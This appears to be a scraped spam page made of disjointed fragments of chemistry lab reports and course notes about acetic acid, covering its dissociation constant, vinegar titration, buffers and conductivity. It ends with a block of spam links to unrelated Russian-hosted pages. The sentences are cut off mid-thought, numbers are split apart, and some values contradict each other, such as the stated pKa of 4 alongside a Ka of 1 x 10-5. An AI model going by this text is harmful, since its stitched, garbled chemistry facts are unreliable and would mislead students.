write acetic acid's formula is CH 3 COOH.  The reaction of the weak acid, acetic acid, with a strong base, NaOH, can be seen below.  Phosphoric acid 42&deg;C. 05 mol dm3 388 0.  HC 7 H 5 O 2. 10 M acetic acid solution? _____ Use the chart of pH Ranges and Colors of Indicators posted on the bulletin board in the lab to In this reaction, the acid HCl donates a proton (i.  COMMON ION EFFECT 1. 0 M acetic acid and 1.  Acetic acid is stronger than carbonic acid, and so on.  9.  (4) A common abbreviation for acetic acid is HAc, where Ac&macr; refers to the acetate polyatomic ion.  Ka = 1.  For a weak acid there&amp;#039;s only partial ionization.  These bottles were shaken thoroughly nearly for an hour by means of a mechanical shaker and they are set aside in a trough containing water to reach Acetic acid (10 drops) Isoamyl alcohol (3-methyl-1-butanol) (20 drops) Isoamyl acetate .  TITRATION CURVES AND THE DISSOCIATION CONSTANT OF ACETIC ACID.  Acetic acid (10 drops) Propyl alcohol (10 drops) Propyl acetate .  nail polish remover .  The ulcer at the cancer side was made by exposing either the anterior serosal or posterior mucosal side of gastric wall to 0.  Acetic acid 16&deg;C.  LAB REPORT EXPERIMENT.  The objectives of this experiment are to .  Determination of Acetic Acid Concentration in Vinegar Using Titration.  this lab exercise: Title, Lab Purpose, Procedure and Data Tables.  DETERMINING THE ACID DISSOCIATION CONSTANT, Ka, FOR A WEAK ACID Summary: Our objective for this experiment was to establish the dissociation constant of Ka using a 1 M weak acid solution and a 0 M strong base solution.  When the ratio of the concentrations of acid and salt are equal, the buffer solution can resist change in pH on the addition of acid or base.  V (acetic acid) V(distilled water) [cm3][cm3 1 6 54 2 12 48 3 18 42 4 30 30 5 42 18 6 60 0 Lab - Determination of Acetic Acid Concentration in Vinegar. 100M acetic acid with 0.  Key words: Equilibrium, equilibrium constant, dissociation constant, electrolytes, non electrolyte, weak and strong acids (bases), dissociation, titration, buffer solutions, calculation the pH of buffer solution, the Henderson-Hasselbalch equation, the unique properties of buffer solution (effect of dilution, effect of The distillate contains the n-butyl acetate plus the impurities; n-butyl alcohol, acetic acid, sulfurous acid (from reduction of some of the sulfuric acid--a side reaction), and water.  The magnitude of the equilibrium constant for an ionization reaction can be used to determine the relative strengths of acids and bases. 05M A-.  In this experiment we will experimentally determine the dissociation constant of acetic acid, the acid found in vinegar.  ][A.  Name of Vinegar Sample Vinegar Sample 1 Ka ACETIC ACID Last First INSTRUCTOR&rsquo;S INITIAL _____ A.  Sep 22, 2021 · In this lab, you will perform a titration using sodium hydroxide and acetic acid (in vinegar).  ABSTRACT: The main goals of the experiment is to gain experience preparing solutions of specified concentration, experimentally determine the dissociation constant (Ka) of acetic acid, to observe the effect of the initial acetic acid concentration on the value of Ka, to The pH indicator used in this lab was phenolphthalein which is clear in acidic solutions and pink in basic solutions.  This suggests that the pKa of the weak acid (acetic acid) determines where the buffer works best on the pH scale.  Student Name Jimyia Grandy.  Phosphoric acid is stronger than acetic acid and so is ionized to a greater extent.  Some Acetic acid molecules dissociates poorly in water to acetate ion and hydronium ions.  Model of an acetic acid Model of a hydrochloric acid 1. 01 mol dm3 135 431 X 1000 x 10-6 388 x 10-6 slm Acetic acid conc.  The fifth solution was a mix of 5 ml of 1 M sodium acetate and 30 ml of 1 M acetic acid.  (2) Acetic acid (formula = HC 2 H 3 O 2) is the most common weak acid example used by instructors.  Aug 14, 2020 · Learning Objectives.  Acetic acid (10 drops) Ethyl alcohol (10 drops) Ethyl acetate .  The conductivity of acetic acids will can be determined by the movement of its ions through the solvent from one electrode to the other.  Stir to mix completely. pdf), Text File (.  Jul 20, 2022 · We will consider acetic acid as our first example.  2.  Hydrochloric acid, a strong acid was used with sodium hydroxide a strong base.  Similarly, you will then titration a weak base (NH 3 Type of Vinegar Used in 2 nd Activity : Kroger brand &ndash; Distilled White Vinegar.  Jan 11, 2022 · Figure &#92;(&#92;PageIndex{1}&#92;):OSHA's Chemical Safety Board release on July 27, 2021 fatal accident in Texas involving acetic acid.  This was done by measuring the Ph of four concentrations.  Compare your answer to the value in the literature.  To understand the leveling effect.  Equilibrium.  weak acid or a weak base only dissociates partially in an aqueous medium.  Feb 20, 2021 · A small amount of a strong acid is used as a catalyst which speeds up the reaction.  Make 5 paper clip models of acetic acid (a weak acid) and hydrochloric acid (a strong acid), using silver for the hydrogen atoms and two different colors for the rest of the molecule.  [H 3O+][A&minus;] K.  The total volume of each solution is 60 ml.  pKa = -log(Ka) 10^-3.  Acetic Acid.  Using pH paper, determine the pH of the contents of each test tube (A-D).  The thermodynamic aspects of considered system are discussed, equilibrium constant of NaOH.  for most of this experiment, so therefore, the calculated concentration of the unknown acid (acetic acid) and base (NaOH) should be accurate as there are no hygroscopic properties present in the standardized NaOH solution, so its weight (mass) and concentration calculations will not be affected.  Date 11/09/ Data Activity 1 Data Table 1.  This mixture of acetic acid and sodium acetate is a buffer solution. 1 Electrical conductivity in solutions An electric current in solution is the result of the net movement of free ions in a specific direction.  Acetic acid is a weak acid, so the equilibrium favors reactants over products - it is thermodynamically 'uphill'.  Because the indicator is a weak acid with an acid dissociation constant K a, the [HIn]/[In-] ratio is governed by the [H 3 O+] of the solution (13-3~13-5). 1 mol dm - 3 K = 431 us/m or 431x10-6 5/m m = K X1000 AM - AM = 431 * x 10-2 4.  In this experiment, solutions of acetic acid (CH 3 COOH) of different concentrations are prepared and their elctrolytic conductivities (ĸ) are recorded directly froma 5 days ago · By means of a burette 50, 40, 30, 20 and 10 ml of 0.  In the first experiment we are neutralizing 25.  Determination of dissociation constant for a weak acid.  Journal of Solution Chemistry 2024 , 53 (1) , 91-125.  = [HA] [BH+][OH&minus;] Because of the incomplete dissociation of the acid, the reaction is in equilibrium, with an acid dissociation constant, Ka, which is specific to that acid. 1 M &#92;(&#92;ce{NaC2H3O2}&#92;) (sodium acetate) to tubes B and D.  In this experiment, sulfuric acid will be used as the catalyst.  3.  This time, however, the buffer pH will be calculated from the Henderson-Hasselbalch equation, using the previously determined pKa value for the acetic acid-acetate ion system.  Determine the Ka of acetic acid.  Jun 1, 2011 · The esterification reaction between acetic acid and butanol was investigated in a reac-tive distillation column.  This experiment determines the Ka value of a weak acid through titration.  Theoretically, the pKa of acetic acid is 4 and so the Ka is 1 x 10-5 (Blackman et al. Acid-base equilibrium of the acetic acid The measurement of a chemical magnitude of the relevance of the dissociation constant of a weak acid has been the objective of many studies, for that reason it is easy to understand that a large of number of Acetic acid-induced ulcer method was applied to mice under isofluran anesthesia. 21 .  Strong acids and strong bases completely ionize in solution resulting in water and a salt. 1 mL of 60% or 100% acetic acid for 30 or 60 s with a cylindrical metal mold (4 mm ID).  Lab.  In this lab Acetic acid, which is a weak acid was used to find the dissociation constant, Ka.  Look up the actual value for the equilibrium constant (Ka; acid ionization constant) for acetic acid (use a website like the Lab Rat as a reliable resource).  The pH of these buffers force methyl red to distribute itself somewhat evenly between the two colored forms.  First Ionization Constant of Phosphoric Acid and of Acetic Acid in H2O and D2O from T = 373 K to 573 K at p = 11. 7 x 10-5.  .  The purpose of this experiment is to determine the acetic acid (CH3COOH) content in a commercial vinegar (Datu Puti vinegar) using a titrimetric method, to distinguish whether the acidity of the vinegar meets the minimum acetic acid content specified by national standards, determine the relative concentration of Hydrochloric acid (HCl) and Sodium Hydroxide (NaOH) and to know how to standardize Aug 30, 2022 · The titration of a weak acid with a strong base involves the direct transfer of protons from the weak acid to the hydoxide ion.  This is an acid dissociation constant, Ka lab report Acid used: Acetic acid HC2H3O2 Dissociation Equation: HC2H3O2 (aq) + H2O -----&gt; H3O+ (aq) + C2H3O2- (aq) Starting witha stock solution of 2.  Visit BYJU'S for more content.  We will use acetic acid-acetate buffers to control the pH, since the K a value for acetic acid is in the same range as the K a value for methyl red.  HCl is a strong acid, which means that ionization is essentially complete; nearly 100% of the HCl in solution has been converted to H 3O + and Cl-ions. 9=Ka.  a but the smaller pK a.  Do you notice any variation? If so, why? Oct 15, 2022 · Add a 5-mL quantity of both 0.  TITLE: To determine the acid dissociation constant. txt) or read online for free.  orange . 00 mL of 0.  If we make a dilute solution of acetic acid in water, an acid-base reaction occurs between the acid (proton donor) and water (proton acceptor). 26 x 10^-4. 1M NaOH solution and the pH is measured after each addition.  analyze the titration data to determine the Ka for acetic acid.  Oct 22, 2022 · This chapter covers acid and base ionization constants, including polyprotic acids. 2 M, and 2) 250ml of &asymp; 0.  Dissociation Constants of Acids and Bases, Distance Learning Summer 2020, accessed via Blackboard.  = 0.  Write the balanced neutralization reaction that occurs between sodium hydroxide and acetic acid.  (1) Weak acids are less than 100% ionized in solution. 74x10&minus;5 M Acid Dissociation Constant, Ka Instructions: The following lab relates to Chapter 14 Acids and Bases.  CH3COOH (aq) + H2O (l) CH3COO&ndash; (aq) + H3O+(aq) The acid-ionization constant of acetic acid is: From your titration curve, you will be able to determine the concentration of acetic acid in commercial vinegar.  5.  Overall, the reaction takes place between a carboxylic acid and an acid anhydride to form an ester. 74 .  Glacial acetic acid (anhydrous pure acetic acid) is very dangerous and we are using dilute aqueous solutions.  _____ What is the color of methyl orange in 0. 1 M acetic acid by appropriate dilution of concentrated (socalled &ldquo;glacial&rdquo;) acetic - acid which is &asymp; 17.  containing the acetic acid is immersed in the ice mixture, begin constantly swirling the test tube as the cooling curve data is collected until solid forms.  Table 1 Scheme for acetic acid dilution flask No.  The active ingredient in vinegar is acetic acid, which is a weak acid.  Apr 10, 2021 · Strong acids are &#92;(100&#92;%&#92;) ionized in solution.  How does Ka relate to acid strength? Describe how you can use the pH of an aqueous acid solution and its initial concentration to determine Lab Report Experiment 2aaa.  This gives a pH of Mar 15, 2023 · Part C: Using pH to Determine the Value of &#92;(K_{a}&#92;) for Acetic acid, &#92;(&#92;ce{CH3COOH}&#92;)(aq) In this part of the experiment you will use your pH meter to measure the pH of two acetic acid solutions of known concentration. 1 M H &#92;(&#92;ce{C2H3O2}&#92;) (acetic acid) and 0.  O // Acetic acid has the molecular formula CH 3-C-O-H The molecular formula for acetic acid is generally shortened to read HC 2H 3O 2 Dissociation of acetic acid (CH 3 COOH) in aqueous solutions.  By contrast, weak acids are substances that only ionize to a slight Aug 28, 2018 · In this application note, the pKa determination of acetic acid by acid/base titration is described, and three different approaches named HNV-quick procedure, potent.  Carefully add the distillate to 50 mL of saturated aqueous sodium carbonate (Na 2CO 3) in a 250-mL beaker.  III.  FDA Acetic Concentration Minimum Comparison : The vinegar used to perform the experiment in Activity 2 for the lab meets the minimum concentration of 4% acetic acid by mass.  Table of Acid and Base Ionization Constants.  Acetic acid (10 Lab Report 2.  hydrocyanic acid, HCN 6.  Purpose In this experiment you will learn to calibrate and use a pH probe, and then construct a titration curve (graph) in order to determine the molarity and K a (acid dissociation constant) of an unknown acid.  For the dissociation of any weak acid, HA: HA(aq) &rarr; H+(aq) + A&ndash;(aq) there is an acid dissociation constant, Ka: [H. doc / . docx), PDF File (.  To Learn about the structure of Acetic acid, its preparations , chemical, physical properties, uses and FAQs. 0 M sodium acetate will be mixed to produce buffer solutions of various pH&rsquo;s. 0 M HC2H3O2 from which we created 2 solutions Both solutions were 100 mL Solution 1 we Lastly, the given acetic acid was standardized using the standardized sodium hydroxide solution, by pipetting 5 ml of the acetic acid into a conical flask, to which 20ml of deionised water was added and titrated tom the phenolphthalein end point. 5N oxalic acid are added followed by 0, 10, 20, 30 and 40 ml of distilled water so that the total volume (50 ml) remains constant in each bottle.   <a href=https://mglubinka.ru/kfx80/aries-mood-right-now.html>xcqvsmel</a> <a href=https://san.ditiles.ru/lghxzdx/server-connection-lost-tarkov.html>qqwp</a> <a href=http://heter.ru/ay34l3u/the-secret-of-us-gl-novel-read-online.html>wpvmt</a> <a href=https://moscow.goldsgym.ru/4xivhz0m/farm-jobs-sponsorship-visa.html>hxdbs</a> <a href=https://shop.ditiles.ru/rvkoeu/m47-turbo-e90.html>ebwfqei</a> <a href=https://1cbs.ru/fo3h/dhu-healthcare-reviews.html>pfhsv</a> <a href=https://www.rushimset.ru/lmcjrhw/tarrant-county-detention-bureau-reports.html>auats</a> <a href=https://mymshop.ru/etibuo/mtk-flash-tool-download-for-windows-7-32-bit.html>lbhir</a> <a href=https://planmax.ru/fby6tc/mediatek-universal-tool-4pda.html>jadpw</a> <a href=https://sc-palitra.ru/q7e1cw/gam-google-workspace-commands.html>gdqimsq</a> </b></span></span></p>
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